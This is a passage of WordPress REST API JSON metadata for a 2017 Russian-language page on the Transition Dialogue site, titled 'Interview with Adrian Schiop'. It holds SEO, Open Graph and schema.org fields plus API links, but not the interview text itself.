Transition","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/transition-dialogue.org\/ru\/news\/interview-adrian-schiop-3\/","og_locale":"ru_RU","og_type":"article","og_title":"Interview with Adrian Schiop - Transition Dialogue","og_description":"Transition Dialogue, Mapping a Generation in Transition","og_url":"https:\/\/transition-dialogue.org\/ru\/news\/interview-adrian-schiop-3\/","og_site_name":"Transition Dialogue","article_published_time":"2017-05-02T20:02:53+00:00","article_modified_time":"2021-11-03T12:58:45+00:00","og_image":[{"width":800,"height":506,"url":"https:\/\/transition-dialogue.org\/wp-content\/uploads\/2017\/04\/AdiSchiop_photo-1.jpg","type":"image\/jpeg"}],"author":"transition2015","twitter_card":"summary_large_image","twitter_misc":{"\u041d\u0430\u043f\u0438\u0441\u0430\u043d\u043e \u0430\u0432\u0442\u043e\u0440\u043e\u043c":"transition2015","\u041f\u0440\u0438\u043c\u0435\u0440\u043d\u043e\u0435 \u0432\u0440\u0435\u043c\u044f \u0434\u043b\u044f \u0447\u0442\u0435\u043d\u0438\u044f":"20 \u043c\u0438\u043d\u0443\u0442"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/transition-dialogue.org\/ru\/news\/interview-adrian-schiop-3\/#article","isPartOf":{"@id":"https:\/\/transition-dialogue.org\/ru\/news\/interview-adrian-schiop-3\/"},"author":{"name":"transition2015","@id":"https:\/\/transition-dialogue.org\/ru\/#\/schema\/person\/a63edaa2afdb6cebd438da14858db3a8"},"headline":"Interview with Adrian Schiop","datePublished":"2017-05-02T20:02:53+00:00","dateModified":"2021-11-03T12:58:45+00:00","mainEntityOfPage":{"@id":"https:\/\/transition-dialogue.org\/ru\/news\/interview-adrian-schiop-3\/"},"wordCount":3909,"publisher":{"@id":"https:\/\/transition-dialogue.org\/ru\/#organization"},"image":{"@id":"https:\/\/transition-dialogue.org\/ru\/news\/interview-adrian-schiop-3\/#primaryimage"},"thumbnailUrl":"https:\/\/transition-dialogue.org\/wp-content\/uploads\/2017\/04\/AdiSchiop_photo-1.jpg","keywords":["Romania"],"articleSection":["Article","News","Other"],"inLanguage":"ru-RU"},{"@type":"WebPage","@id":"https:\/\/transition-dialogue.org\/ru\/news\/interview-adrian-schiop-3\/","url":"https:\/\/transition-dialogue.org\/ru\/news\/interview-adrian-schiop-3\/","name":"Interview with Adrian Schiop - Transition Dialogue","isPartOf":{"@id":"https:\/\/transition-dialogue.org\/ru\/#website"},"primaryImageOfPage":{"@id":"https:\/\/transition-dialogue.org\/ru\/news\/interview-adrian-schiop-3\/#primaryimage"},"image":{"@id":"https:\/\/transition-dialogue.org\/ru\/news\/interview-adrian-schiop-3\/#primaryimage"},"thumbnailUrl":"https:\/\/transition-dialogue.org\/wp-content\/uploads\/2017\/04\/AdiSchiop_photo-1.jpg","datePublished":"2017-05-02T20:02:53+00:00","dateModified":"2021-11-03T12:58:45+00:00","description":"Transition Dialogue, Mapping a Generation in Transition","breadcrumb":{"@id":"https:\/\/transition-dialogue.org\/ru\/news\/interview-adrian-schiop-3\/#breadcrumb"},"inLanguage":"ru-RU","potentialAction":[{"@type":"ReadAction","target":["https:\/\/transition-dialogue.org\/ru\/news\/interview-adrian-schiop-3\/"]}]},{"@type":"ImageObject","inLanguage":"ru-RU","@id":"https:\/\/transition-dialogue.org\/ru\/news\/interview-adrian-schiop-3\/#primaryimage","url":"https:\/\/transition-dialogue.org\/wp-content\/uploads\/2017\/04\/AdiSchiop_photo-1.jpg","contentUrl":"https:\/\/transition-dialogue.org\/wp-content\/uploads\/2017\/04\/AdiSchiop_photo-1.jpg","width":800,"height":506},{"@type":"BreadcrumbList","@id":"https:\/\/transition-dialogue.org\/ru\/news\/interview-adrian-schiop-3\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/transition-dialogue.org\/ru\/"},{"@type":"ListItem","position":2,"name":"Interview with Adrian Schiop"}]},{"@type":"WebSite","@id":"https:\/\/transition-dialogue.org\/ru\/#website","url":"https:\/\/transition-dialogue.org\/ru\/","name":"Transition Dialogue","description":"Dealing with change in democratic ways","publisher":{"@id":"https:\/\/transition-dialogue.org\/ru\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/transition-dialogue.org\/ru\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"ru-RU"},{"@type":"Organization","@id":"https:\/\/transition-dialogue.org\/ru\/#organization","name":"DRA, Perspektive hoch drei, PH3, 3rd perspective East Germany","url":"https:\/\/transition-dialogue.org\/ru\/","logo":{"@type":"ImageObject","inLanguage":"ru-RU","@id":"https:\/\/transition-dialogue.org\/ru\/#\/schema\/logo\/image\/","url":"https:\/\/transition-dialogue.org\/wp-content\/uploads\/2019\/11\/SofiaPlatform_Logo_Vec_Jul19_90107_Final_4.2.png","contentUrl":"https:\/\/transition-dialogue.org\/wp-content\/uploads\/2019\/11\/SofiaPlatform_Logo_Vec_Jul19_90107_Final_4.2.png","width":3544,"height":980,"caption":"DRA, Perspektive hoch drei, PH3, 3rd perspective East Germany"},"image":{"@id":"https:\/\/transition-dialogue.org\/ru\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/transition-dialogue.org\/ru\/#\/schema\/person\/a63edaa2afdb6cebd438da14858db3a8","name":"transition2015","image":{"@type":"ImageObject","inLanguage":"ru-RU","@id":"https:\/\/secure.gravatar.com\/avatar\/ccf0cece39b39a0c1263f1d26251b4796eb2fd2347c2c7fb5b236e0530f16119?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/ccf0cece39b39a0c1263f1d26251b4796eb2fd2347c2c7fb5b236e0530f16119?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/ccf0cece39b39a0c1263f1d26251b4796eb2fd2347c2c7fb5b236e0530f16119?s=96&d=mm&r=g","caption":"transition2015"},"url":"https:\/\/transition-dialogue.org\/ru\/author\/transition2015\/"}]}},"_links":{"self":[{"href":"https:\/\/transition-dialogue.org\/ru\/wp-json\/wp\/v2\/posts\/866","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/transition-dialogue.org\/ru\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/transition-dialogue.org\/ru\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/transition-dialogue.org\/ru\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/transition-dialogue.org\/ru\/wp-json\/wp\/v2\/comments?post=866"}],"version-history":[{"count":2,"href":"https:\/\/transition-dialogue.org\/ru\/wp-json\/wp\/v2\/posts\/866\/revisions"}],"predecessor-version":[{"id":1079,"href":"https:\/\/transition-dialogue.org\/ru\/wp-json\/wp\/v2\/posts\/866\/revisions\/1079"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/transition-dialogue.org\/ru\/wp-json\/wp\/v2\/media\/827"}],"wp:attachment":[{"href":"https:\/\/transition-dialogue.org\/ru\/wp-json\/wp\/v2\/media?parent=866"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/transition-dialogue.org\/ru\/wp-json\/wp\/v2\/categories?post=866"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/transition-dialogue.org\/ru\/wp-json\/wp\/v2\/tags?post=866"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}